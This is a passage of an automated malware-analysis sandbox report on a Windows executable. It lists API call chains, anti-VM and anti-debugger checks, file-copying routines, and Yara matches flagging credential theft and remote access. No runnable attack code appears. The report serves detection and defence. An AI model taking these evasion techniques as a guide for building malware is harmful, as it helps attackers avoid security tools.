Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0041B035 push ecx; ret 0_2_0041B048
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040020D pushfd ; iretd 0_2_00400211
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00757876 push eax; ret 0_2_00757894
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00758C2E push ds; retf 0_2_00758CC7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_007548A7 push 7DD07DC0h; iretd 0_2_007548B8
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00757885 push eax; ret 0_2_00757894
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00753DA1 pushfd ; iretd 0_2_00753DA4
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022BB29C push ecx; ret 0_2_022BB2AF
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion

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Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Evaded block: after key decision
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API coverage: 6.9 %
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E430
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004138B0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_00414570
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00414910
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040ED20
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BE70
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DE10
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004016D0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040DA80
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00413EA0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F6B0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_022AE697
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_022B3B17
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022B4B77
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_022AEF87
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_022B47D7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022AE077
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022ADCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_022ADCE7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AF8F1 FindFirstFileA, 0_2_022AF8F1
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_022AC0D7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022A1937
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_022B4107
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022AF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_022AF917
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00401160 GetSystemInfo,ExitProcess, 0_2_00401160
Source: Amcache.hve.4.dr Binary or memory string: VMware
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.0000000000799000.00000004.00000020.00020000.00000000.sdmp, 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204081074.000000000073E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe, 00000000.00000002.2204196068.00000000007C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041AD48
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000 0_2_004045C0
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h] 0_2_00419750
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00752B77 push dword ptr fs:[00000030h] 0_2_00752B77
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A092B mov eax, dword ptr fs:[00000030h] 0_2_022A092B
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B99B7 mov eax, dword ptr fs:[00000030h] 0_2_022B99B7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022A0D90 mov eax, dword ptr fs:[00000030h] 0_2_022A0D90
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00417850
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041AD48
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0041CEEA SetUnhandledExceptionFilter, 0_2_0041CEEA
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0041B33A
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022BAFAF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_022BAFAF
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022BD151 SetUnhandledExceptionFilter, 0_2_022BD151
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022BB5A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_022BB5A1
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: Yara match File source: Process Memory Space: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe PID: 5500, type: MEMORYSTR
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00419600
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_022B9867 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_022B9867
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00417B90
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_022B7DF7
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess, 0_2_00416920
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00417850
Source: C:\Users\user\Desktop\100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 0_2_00417A30
Source: Amcache.hve.4.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

barindex
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22a0e67.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22a0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2204196068.000000000077D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2204339831.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2040364306.00000000022F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2203797459.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe PID: 5500, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22a0e67.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe.22a0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2204196068.000000000077D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2204339831.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2040364306.00000000022F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2203797459.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 100f1c346cbcff15f4d9d75c791000625850e1c82b44c.exe PID: 5500, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs